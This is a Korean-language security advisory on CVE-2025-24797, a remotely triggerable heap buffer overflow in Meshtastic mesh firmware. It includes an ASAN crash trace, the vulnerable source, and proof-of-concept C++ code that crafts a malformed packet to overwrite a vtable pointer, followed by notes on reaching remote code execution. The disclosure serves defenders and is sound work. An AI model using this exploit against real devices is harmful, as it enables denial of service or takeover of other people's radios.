
Meshtastic 버퍼 오버플로 취약점 - CVE-2025-24797
잘못된 protobuf 데이터를 포함한 메시 패킷 처리의 결함으로 인해 공격자가 제어하는 버퍼 오버플로우가 발생할 수 있으며, 이로 인해 공격자가 실행 흐름을 탈취하여 잠재적으로 원격 코드 실행이 가능할 수 있습니다. 이 공격은 대상 장치가 기본 채널에서 패킷을 재브로드캐스트하는 한 인증이나 사용자 상호작용이 필요하지 않습니다.
이 취약점은 처음에 퍼징을 통해 발견되었으며, 다음과 같은 ASAN 중단이 발생했습니다:
DEBUG | 22:27:03 0 State: BOOT
DEBUG | 22:27:03 0 Lora RX (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=3 Ch=0x8 encrypted hopStart=3)
DEBUG | 22:27:03 0 Packet RX: 845ms
DEBUG | 22:27:03 0 [Router] Add packet record (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=3 Ch=0x8 encrypted hopStart=3)
DEBUG | 22:27:03 0 [Router] Use channel 0 (hash 0x8)
DEBUG | 22:27:03 0 [Router] Expand short PSK #1
DEBUG | 22:27:03 0 [Router] Use AES128 key!
ERROR | 22:27:03 0 [Router] Can't decode protobuf reason='wrong wire type', pb_msgdesc 0x55f23cf543c0
ERROR | 22:27:03 0 [Router] Invalid protobufs in received mesh packet id=0x76f4febf (bad psk?)!
WARN | 22:27:03 0 [Router] No suitable channel found for decoding, hash was 0x8!
DEBUG | 22:27:03 0 [Router] packet decoding failed or skipped (no PSK?) (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=3 Ch=0x8 encrypted rxtime=1736461623 hopStart=3)
DEBUG | 22:27:03 0 [Router] Module 'routing' wantsPacket=1
INFO | 22:27:03 0 [Router] Received routing from=0x10, id=0x76f4febf, portnum=10320, payloadlen=25
DEBUG | 22:27:03 0 [Router] Routing sniffing (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=3 Ch=0x8 encrypted rxtime=1736461623 hopStart=3)
INFO | 22:27:03 0 [Router] Rebroadcast received floodmsg
DEBUG | 22:27:03 0 [Router] enqueuing for send (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=2 Ch=0x8 encrypted rxtime=1736461623 hopStart=3 priority=64)
DEBUG | 22:27:03 0 [Router] Set random delay before tx
DEBUG | 22:27:03 0 [Router] Delivering rx packet (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=3 Ch=0x8 encrypted rxtime=1736461623 hopStart=3)
DEBUG | 22:27:03 0 [Router] Forwarding to phone (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=3 Ch=0x8 encrypted rxtime=1736461623 hopStart=3)
ERROR | 22:27:03 0 [Router] Packet too large to attempt decryption! (rawSize=10320 > 256)
DEBUG | 22:27:03 0 [Router] Module 'routing' considered
DEBUG | 22:27:03 0 [SimRadio] delay done
DEBUG | 22:27:03 0 [SimRadio] Start low level send (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=2 Ch=0x8 encrypted rxtime=1736461623 hopStart=3 priority=64)
=================================================================
==6992==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6130000006e0 at pc 0x7f85755a7397 bp 0x7fff161319a0 sp 0x7fff16131148
READ of size 10320 at 0x6130000006e0 thread T0
#0 0x7f85755a7396 in __interceptor_memcpy ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:827
#1 0x55f23a1c40d2 in RadioInterface::beginSending(_meshtastic_MeshPacket*) src/mesh/RadioInterface.cpp:621
#2 0x55f23a297a8d in SimRadio::startSend(_meshtastic_MeshPacket*) src/platform/portduino/SimRadio.cpp:261
#3 0x55f23a29782f in SimRadio::onNotify(unsigned int) src/platform/portduino/SimRadio.cpp:231
#4 0x55f23a0c8ee2 in concurrency::NotifiedWorkerThread::checkNotification() src/concurrency/NotifiedWorkerThread.cpp:82
#5 0x55f23a0c8f3c in concurrency::NotifiedWorkerThread::runOnce() src/concurrency/NotifiedWorkerThread.cpp:89
#6 0x55f23a0c9623 in concurrency::OSThread::run() src/concurrency/OSThread.cpp:85
#7 0x55f23a2d0f66 in ThreadController::runOrDelay() .pio/libdeps/native/Thread/ThreadController.cpp:59
#8 0x55f23a154893 in loop src/main.cpp:1259
#9 0x55f23a3a54db in main /home/alain/.platformio/packages/framework-portduino/cores/portduino/main.cpp:226
#10 0x7f8574ad7d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#11 0x7f8574ad7e3f in __libc_start_main_impl ../csu/libc-start.c:392
#12 0x55f239f8f8b4 in _start (/home/alain/marc/program+0x1098b4)
0x6130000006e0 is located 0 bytes to the right of 352-byte region [0x613000000580,0x6130000006e0)
allocated by thread T0 here:
#0 0x7f8575621887 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
#1 0x55f23a1d55ac in MemoryDynamic<_meshtastic_MeshPacket>::alloc(unsigned int) src/mesh/MemoryPool.h:71
#2 0x55f23a16aeb3 in Allocator<_meshtastic_MeshPacket>::allocCopy(_meshtastic_MeshPacket const&, unsigned int) src/mesh/MemoryPool.h:38
#3 0x55f23a16a573 in FloodingRouter::perhapsRebroadcast(_meshtastic_MeshPacket const*) src/mesh/FloodingRouter.cpp:60
#4 0x55f23a16a91e in FloodingRouter::sniffReceived(_meshtastic_MeshPacket const*, _meshtastic_Routing const*) src/mesh/FloodingRouter.cpp:97
#5 0x55f23a1ca301 in ReliableRouter::sniffReceived(_meshtastic_MeshPacket const*, _meshtastic_Routing const*) src/mesh/ReliableRouter.cpp:141
#6 0x55f23a220710 in RoutingModule::handleReceivedProtobuf(_meshtastic_MeshPacket const&, _meshtastic_Routing*) src/modules/RoutingModule.cpp:26
#7 0x55f23a22141f in ProtobufModule<_meshtastic_Routing>::handleReceived(_meshtastic_MeshPacket const&) src/mesh/ProtobufModule.h:100
#8 0x55f23a17e8fa in MeshModule::callModules(_meshtastic_MeshPacket&, RxSource) src/mesh/MeshModule.cpp:132
#9 0x55f23a1d437b in Router::handleReceived(_meshtastic_MeshPacket*, RxSource) src/mesh/Router.cpp:618
#10 0x55f23a1d5211 in Router::perhapsHandleReceived(_meshtastic_MeshPacket*) src/mesh/Router.cpp:681
#11 0x55f23a1cfc2c in Router::runOnce() src/mesh/Router.cpp:71
#12 0x55f23a1cc01d in ReliableRouter::runOnce() src/mesh/ReliableRouter.h:79
#13 0x55f23a0c9623 in concurrency::OSThread::run() src/concurrency/OSThread.cpp:85
#14 0x55f23a2d0f66 in ThreadController::runOrDelay() .pio/libdeps/native/Thread/ThreadController.cpp:59
#15 0x55f23a154893 in loop src/main.cpp:1259
#16 0x55f23a3a54db in main /home/alain/.platformio/packages/framework-portduino/cores/portduino/main.cpp:226
#17 0x7f8574ad7d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
SUMMARY: AddressSanitizer: heap-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:827 in __interceptor_memcpy
Shadow bytes around the buggy address:
0x0c267fff8080: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c267fff8090: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c267fff80a0: fd fd fd fd fa fa fa fa fa fa fa fa fa fa fa fa
0x0c267fff80b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c267fff80c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c267fff80d0: 00 00 00 00 00 00 00 00 00 00 00 00[fa]fa fa fa
0x0c267fff80e0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c267fff80f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c267fff8100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c267fff8110: 00 00 00 00 fa fa fa fa fa fa fa fa fa fa fa fa
0x0c267fff8120: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==6992==ABORTING
손상은 memcpy 작업 중 패킷이 전송될 때 발생하며, 암호화된 바이트를 radioBuffer로 복사합니다. p->encrypted.size 필드는 radioBuffer.payload의 크기(240바이트)보다 큰 값을 가집니다.
// src/mesh/RadioInterface.cpp
size_t RadioInterface::beginSending(meshtastic_MeshPacket *p)
{
// ...
memcpy(radioBuffer.payload, p->encrypted.bytes, p->encrypted.size);
// ...
}
잘못된 크기 값의 원인은 패킷 디코딩 시 발생하는 논리적 버그입니다. 복호화된 패킷 데이터는 pb_decode_from_bytes를 사용하여 디코딩되며, 대상은 수신된 패킷 구조체 p입니다.
// src/mesh/Router.cpp
bool perhapsDecode(meshtastic_MeshPacket *p)
{
// ...
// Try to decrypt the packet if we can
crypto->decrypt(p->from, p->id, rawSize, bytes);
// printBytes("plaintext", bytes, p->encrypted.size);
// Take those raw bytes and convert them back into a well structured protobuf we can understand
memset(&p->decoded, 0, sizeof(p->decoded));
if (!pb_decode_from_bytes(bytes, rawSize, &meshtastic_Data_msg, &p->decoded)) {
LOG_ERROR("Invalid protobufs in received mesh packet id=0x%08x (bad psk?)!", p->id);
} else if (p->decoded.portnum == meshtastic_PortNum_UNKNOWN_APP) {
LOG_ERROR("Invalid portnum (bad psk?)!");
} else {
decrypted = true;
break;
}
// ...
}
디코딩이 성공하면 decrypted가 true로 설정되고 which_payload_variant가 meshtastic_MeshPacket_decoded_tag로 올바르게 업데이트됩니다.
// src/mesh/Router.cpp
bool perhapsDecode(meshtastic_MeshPacket *p)
{
// ...
if (decrypted) {
// parsing was successful
p->which_payload_variant = meshtastic_MeshPacket_decoded_tag; // change type to decoded
// ...
그러나 디코딩이 실패하면 which_payload_variant가 업데이트되지 않습니다. p->encrypted와 p->decoded는 유니온을 사용하여 구현되었고 메모리 영역이 겹치기 때문에 p->encrypted의 데이터가 pb_decode_from_bytes에 의해 부분적으로 디코딩된 데이터로 손상되었으며 사용하기에 안전하지 않습니다.
노드는 기본적으로 수신된 패킷을 재브로드캐스트하므로 손상된 패킷이 전송되도록 예약됩니다. RadioInterface::beginSending에서 코드는 패킷이 암호화된 형식임을 올바르게 확인하고 p->encrypted에 안전하게 접근할 수 있다고 가정하여 손상된 크기가 memcpy에 전달되어 잠재적으로 버퍼를 오버플로우시킵니다.
다음은 취약점을 트리거하는 악성 메시지를 전송하는 방법을 보여주는 예제 코드입니다.
uint32_t from = 2;
uint32_t id = 2;
meshtastic_Data d = meshtastic_Data_init_default;
// We can choose the memcpy size by setting portnum, as it overlaps with the `encrypted->size` field
uint16_t memcpy_size = sizeof(meshtastic_Data);
d.portnum = static_cast<meshtastic_PortNum>(memcpy_size);
// This is the data written outside of radioBuffer
d.dest = 0xAAAAAAAA;
// Overwrites virtual table pointer
d.source = 0xBBBBBBBB;
d.request_id = 0xCCCCCCCC;
d.reply_id = 0xDDDDDDDD;
d.emoji = 0xEEEEEEEE;
d.has_bitfield = false;
byte internal_data[256] = {};
size_t internal_size = pb_encode_to_bytes(internal_data, sizeof(internal_data), &meshtastic_Data_msg, &d);
// Cause deserialization to fail by adding a stray byte
assert(internal_size < sizeof(internal_data));
internal_data[internal_size] = 0xFF;
internal_size += 1;
channels.setActiveByIndex(0);
crypto->encryptPacket(from, id, internal_size, internal_data);
meshtastic_MeshPacket p = meshtastic_MeshPacket_init_default;
p.from = from;
p.to = 4294967295; // Broadcast
p.id = id;
p.channel = 0x8;
p.hop_limit = 3;
p.hop_start = 3;
p.which_payload_variant = meshtastic_MeshPacket_encrypted_tag;
p.encrypted.size = internal_size;
memcpy(p.encrypted.bytes, internal_data, sizeof(p.encrypted.bytes));
meshtastic_MeshPacket *allocPacket = packetPool.allocCopy(p);
rIf->send(allocPacket);
그리고 다음은 덮어쓴 vtable 포인터를 로드하는 동안 충돌하는 수신 노드입니다:

공격자는 기록된 데이터가 디코딩 중인 암호화된 패킷 데이터를 기반으로 하기 때문에 버퍼의 크기와 내용을 제어할 수 있습니다. memcpy의 크기를 수정함으로써 공격자는 힙 데이터 구조를 손상시켜 서비스 거부를 유발할 수 있습니다.
공격자는 또한 오버플로우된 영역의 제한된 부분을 제어할 수 있습니다. meshtastic_Packet 구조체가 대상 RadioBuffer보다 크기 때문입니다. radioBuffer 뒤에는 세 개의 구조체 필드가 있습니다: int8_t power; float savedFreq; uint32_t savedChannelNum. 이 필드들은 작동 중에 사용되지 않으므로 안전하게 덮어쓸 수 있습니다. 이 필드들 뒤에는 concurrency::NotifiedWorkerThread의 가상 테이블 포인터가 있습니다. 이 포인터를 덮어씀으로써 공격자는 다음에 스레드가 실행될 때 실행을 임의로 리디렉션하여 잠재적으로 원격 코드 실행을 가능하게 할 수 있습니다.
우리는 ASLR이나 메모리 실행 보호가 없는 임베디드 시스템에서는 공격자가 패킷 내부에 직접 셸코드를 포함할 수 있기 때문에 작동하는 RCE 익스플로잇이 상당히 간단할 것으로 추정합니다. 메모리 실행 보호가 적용된 경우 공격자는 펌웨어 내 기존 메서드를 호출하여 RCE 또는 기타 파괴적인 행동을 달성할 수 있을 수 있습니다. ASLR이 존재하는 경우 주소를 누출하기 위해 또 다른 취약점이 필요하다고 가정합니다.
이 취약점은 여러 홉 떨어진 노드에서도 악용될 수 있습니다. 패킷이 재브로드캐스트되기 때문에 공격자는 초기 단계에서 유효한 값으로 크기 필드를 덮어쓰는 다단계의 변형된 암호화 데이터를 중첩할 수 있습니다. 데이터는 최종 덮어쓰기가 트리거될 때까지 각 홉에서 압축이 풀립니다.